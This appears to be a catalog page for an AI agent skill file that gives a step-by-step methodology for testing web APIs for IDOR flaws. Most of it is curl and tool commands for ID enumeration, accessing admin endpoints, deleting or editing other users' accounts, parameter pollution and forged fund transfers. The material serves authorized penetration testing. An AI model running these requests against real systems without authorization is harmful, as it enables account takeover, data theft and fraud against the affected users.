Attack Idor Automation
DevOps & Securityattack-idor-automationAttack Idor Automation is an Agent Skill for devops & security published in the CyberStrikeus/CyberStrike repository on GitHub: a SKILL.md instruction file an AI agent can load to do this task.
IDOR automated testing — cross-account access, horizontal/vertical privilege escalation, mass data exposure
QUICK START
How to use this skill
Bring this guide into your coding agent with a prompt tailored to the tool you use.
- Open your project in Codex.
- Copy and paste the prompt below.
- Review files and risks before approving any action.
Prompt to paste
Inspect the Agent Skill at https://github.com/CyberStrikeus/CyberStrike/blob/HEAD/.cyberstrike/skill/attack-idor-automation/SKILL.md and all supporting files. Report provenance, permissions, scripts, dependencies, and security risks. Propose an exact installation into .agents/skills/attack-idor-automation, but wait for my approval before writing files or running scripts.
Copying this prompt does not install or run the skill. Review third-party files before use.
IDOR Automated Testing
Objective
Systematically test all API endpoints for Insecure Direct Object Reference vulnerabilities using two accounts with different privilege levels.
Testing Methodology
Phase 1: Set Up Two Accounts
- Account A (victim) — owns resources being tested
- Account B (attacker) — tries to access Account A's resources
Phase 2: Automated Cross-Account Testing
# Test endpoints from file
attack_script idor_tester \
--token-a "VICTIM_JWT" \
--token-b "ATTACKER_JWT" \
--endpoints endpoints.txt \
--json-output
# Test comma-separated endpoints
attack_script idor_tester \
--token-a "VICTIM_JWT" \
--token-b "ATTACKER_JWT" \
--endpoints "https://TARGET/api/users/123,https://TARGET/api/orders/456,https://TARGET/api/profile/123" \
--method GET
# Test write operations
attack_script idor_tester \
--token-a "VICTIM_JWT" \
--token-b "ATTACKER_JWT" \
--endpoints endpoints.txt \
--method PUT \
--data '{"name":"pwned"}'
Phase 3: Manual Testing Patterns
Horizontal IDOR (same role, different user):
# Sequential IDs
curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/1
curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/2
# UUID guessing (if predictable)
curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/UUID_OF_OTHER_USER
# Endpoint enumeration
for id in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code} " -H "Authorization: Bearer ATTACKER_TOKEN" "https://TARGET/api/orders/$id"
done
Vertical IDOR (low-priv accessing high-priv):
# User accessing admin endpoints
curl -H "Authorization: Bearer USER_TOKEN" https://TARGET/api/admin/users
curl -H "Authorization: Bearer USER_TOKEN" https://TARGET/api/admin/settings
curl -H "Authorization: Bearer USER_TOKEN" https://TARGET/api/internal/reports
Phase 4: HTTP Method Switching
# GET blocked but DELETE works
curl -X DELETE -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/VICTIM_ID
# GET blocked but PATCH works
curl -X PATCH -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/VICTIM_ID \
-d '{"email":"[email protected]"}'
Phase 5: Parameter Pollution
# Dual ID injection
curl "https://TARGET/api/profile?user_id=ATTACKER&user_id=VICTIM"
# Body override
curl -X POST https://TARGET/api/transfer \
-H "Authorization: Bearer ATTACKER_TOKEN" \
-d '{"from":"VICTIM_ID","to":"ATTACKER_ID","amount":1000}'
Phase 6: Response Comparison
# Compare responses between two auth contexts
attack_script response_diff "https://TARGET/api/users/VICTIM_ID" \
--header-a "Authorization:Bearer VICTIM_TOKEN" \
--header-b "Authorization:Bearer ATTACKER_TOKEN" \
--json-output
What Constitutes a Finding
| Finding | Severity |
|---|---|
| Read other user's PII (email, SSN, etc.) | Critical (P1) |
| Modify other user's data | Critical (P1) |
| Delete other user's resources | Critical (P1) |
| Access admin functionality | Critical (P1) |
| Read non-sensitive data of other user | Medium (P3) |
Evidence Requirements
- Two different auth tokens used
- Endpoint tested
- Account A (victim) response as baseline
- Account B (attacker) accessing Account A's resource
- Data received proving cross-account access
Tools
attack_script idor_tester— automated cross-account testingattack_script response_diff— response comparisonattack_script jwt_tamper— token manipulation for IDOR